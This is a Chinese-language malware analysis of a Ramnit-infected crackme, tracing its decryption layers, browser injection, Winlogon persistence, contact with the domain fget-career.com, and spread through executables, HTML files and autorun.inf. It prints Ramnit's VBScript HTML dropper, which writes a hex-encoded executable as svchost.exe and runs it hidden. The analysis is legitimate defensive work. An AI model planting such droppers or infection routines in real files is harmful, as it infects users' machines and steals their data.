Ramnit感染型病毒分析

 

前言

感染型病毒是通过感染将恶意代码附着于正常程序中,在通过被感染的正常程序进行传播,可见感染型病毒的危害之大。不过只要了解了感染型病毒的原理,其实并没有想象中的那么可怕,今天我将带来的是感染型病毒Ramnit的详细分析。

 

样本信息

样本是我随便找的一个被Ramnit病毒感染的crackme程序

样本名:crack_me(cracked).exe
SHA1:537c992c86674a442eb3c33140feaeec7ae4ab91

 

行为分析

使用火绒剑进行行为分析

被感染的样本执行后,会在当前目录下释放crack_me(cracked)Srv.exe(.*Srv.exe)病毒母体文件,病毒母体文件会在C:Program Files (x86)Microsoft目录下释放DesktopLayer.exe文件

DesktopLayer.exe进程被创建后,注入chrome浏览器,修改Winlogon注册表项达到自启动目的,并开始感染其他文件

感染的文件类型主要有exe、dll、htm、html等文件

 

详细分析

详细分析主要分为三个部分,首先从被感染的程序crack_me(cracked).exe入手,然后是在当前目录下释放的病毒母体crack_me(cracked)Srv.exe(.*Srv.exe)

被感染程序

使用IDA打开被感染的程序crack_me(cracked).exe,看入口点开头的pusha和结尾的popa,想都不用想,最后的一句jmp eax就是跳转回程序的真正入口点,大多数感染型病毒差不多都是这种形式,相当于给程序加了一层壳,只不过壳代码是恶意代码。

上面的混淆代码就是计算偏移,找到导入函数LoadLibraryA和GetProcAddress的地址,然后通过字符串所在地址的偏移,进而找到其他函数的地址

获取到函数地址后,首先创建一个名为KyUffThOkYwRRtgPP的互斥体,保证唯一运行

接下来,利用多个异或密钥逐字节循环解密,起始地址为0x409573,大小为0xDC00

0x40934B开始倒序取字节D4进行异或解密,直到取到0x409329中的47后重新从0x40934B开始取值,循环直到结束

解密后是个PE文件

解密后继续执行,首先当前完整进程路径名,创建同名加Srv的exe文件,并将解密后的数据写入文件

启动刚创建好的文件,然后跳转到原始程序真正的入口点

病毒母体文件

混淆器部分

被感染程序解密释放出病毒母体文件crack_me(cracked)Srv.exe,查看信息,发现加了UPX壳

PE: packer: UPX(3.03)[NRV,best]
PE: linker: unknown(7.4)[EXE32]

首先脱壳

用IDA打开,上下看一看,不难发现,这还是一个混淆器,期间各种无意义API调用,无用call等混淆

根据尝试,找到入口点第一层关键call

进入sub_40724D函数,发现还是一堆无意义的call和API的调用,jmp才是真正继续执行的关键。查看IDA的Graph overview中间和结尾出有两处看着像循环解密的部分。

将鼠标移到Graph overview中部,发现上面又是无意义的API调用,下面的循环看起来也不像是解密用到的

鼠标移到Graph overview下部,发现这里调用了VirtualAlloc,下面就很可能是循环解密数据了

使用OD动态跟踪,申请了大小为F000的内存空间

从地址0x401F43开始取值,解密后存放到申请的内存空间

解密后执行在地址0x407468返回到AllocMemoryBaseAddr + 0x2CA9继续执行代码

将申请的内存空间dump下来,跳转到0x2CA9查看代码流程,发现还是使用jmp跳转进行混淆

跟随代码流程,到0x0783这个地址,利用PEB结构获取ntdll加载基址

函数内还是一堆混淆跳转,经过简化后汇编语句如下

mov edx,dword ptr fs:[0x30]
mov edx,dword ptr ds:[edx+0xC]
mov edx,dword ptr ds:[edx+0xC]
mov edx,dword ptr ds:[edx]
mov eax,dword ptr ds:[edx+0x18]

期间还利用很多次PEB结构获取信息,并再次解密.data数据段数据,最后通过调用ZwFreeVirtualMemory后返回到被解密的.data区段上执行代码

进入.data区段执行代码发现pushad,看汇编的形式,应该又是UPX壳

将此刻状态的样本dump下来,查壳发现这一层使用了3.04版本的UPX壳

脱掉UPX壳,才真正到了病毒母体的入口点

Injecter

病毒母体的入口点开始部分并没有什么恶意代码,它的主要目的是hook api函数对浏览器注入恶意dll,所以我将这一部分称为Injecter

病毒母体首先会获取浏览器执行程序的路径,创建互斥体,判断当前执行程序路径,hook api函数对浏览器注入恶意dll

通过注册表获取默认浏览器路径

如果找到默认浏览器执行程序文件,直接返回,没找到,则去找IE浏览器执行程序文件

判断当前运行路径是否为C:Program Files (x86)MicrosoftDesktopLayer.exe,如果不是,将自身拷贝到C:Program Files (x86)MicrosoftDesktopLayer.exe,并执行DesktopLayer.exe,返回后当前程序直接退出

当前运行路径为C:Program Files (x86)MicrosoftDesktopLayer.exe时,返回后继续执行代码,hook api函数对浏览器注入恶意dll

hook ZwWriteVirtualMemory函数

创建浏览器进程

由于CreateProcessA内部会调用ZwWriteVirtualMemory函数,所以会调用到被hook后的地址0x402A59执行代码

首先跳回真正的ZwWriteVirtualMemory继续执行

读取浏览器进程内存,获取入口点地址

恶意dll在文件中的开始位置0x404031

申请内存并将dll写入浏览器进程内存

将三个函数写入浏览器进程内存中

在浏览器程序入口点写入shellcode

当浏览器进程线程被恢复开始运行时,会先调用写入的shellcode,call edi会调用shellcode_call_first_func函数,这个函数负责调用写入的edi_add_0xc_func函数初始化导入表,调用写入的edi_add_0x10_func函数修改区段属性等一系列初始化过程后会调用写入的dllmain函数

恶意Dll

在dll入口点,首先创建互斥体判断当前程序是否唯一运行,并初始化一些数据

解密字符串,获取计算机信息,MD5加密信息,在当前目录下生成dmlconf.dat

dll入口点创建了几个线程,分别是写自启动项线程,判断网络连接线程,写文件线程,向fget-career.com发送用户数据线程和在fget-career.com下载文件并运行线程。

其中写自启动线程通过设置SoftwareMicrosoftWindows NTCurrentVersionWinlogon下的UserInit注册表项达到自启动,并每秒检查确认病毒路径是否在其中。

几个线程创建后,进入感染文件的函数,首先检查注册表中是否存在Software\WASAntidot这一项,如果不存在继续感染文件操作

创建两个线程,一个是感染文件,另一个是感染可移动设备

首先看infect_file_thread线程函数

关键感染文件函数,判断文件类型

当是exe和dll文件时,打开文件,创建文件映射进行感染,判断是否存在.rmnet 区段

如果不存在.rmnet 区段,添加LoadLibraryA,GetProcAddress这2个字符串和.rmnet区段并修改OEP

当是html和htm文件时,判断文件结尾是否是</SCRIPT>

如果不是将在html文件尾部写入数据

创建一个名为svchost.exe的文件,将WriteData中的二进制数据写入文件并执行。

<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A..."
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

infect_removable线程函数

循环遍历磁盘,判断是否为可移动设备

当是可移动设备时,打开autorun.inf文件,通过 autorun.inf 的头 3 字节是否为 RmN判断是否感染

如果没被感染,在可移动设备目录下创建 RECYCLER 目录,并在RECYCLER 目录下创建随机名病毒exe文件,添加autorun.inf自动运行病毒

样本分析到此结束

(完)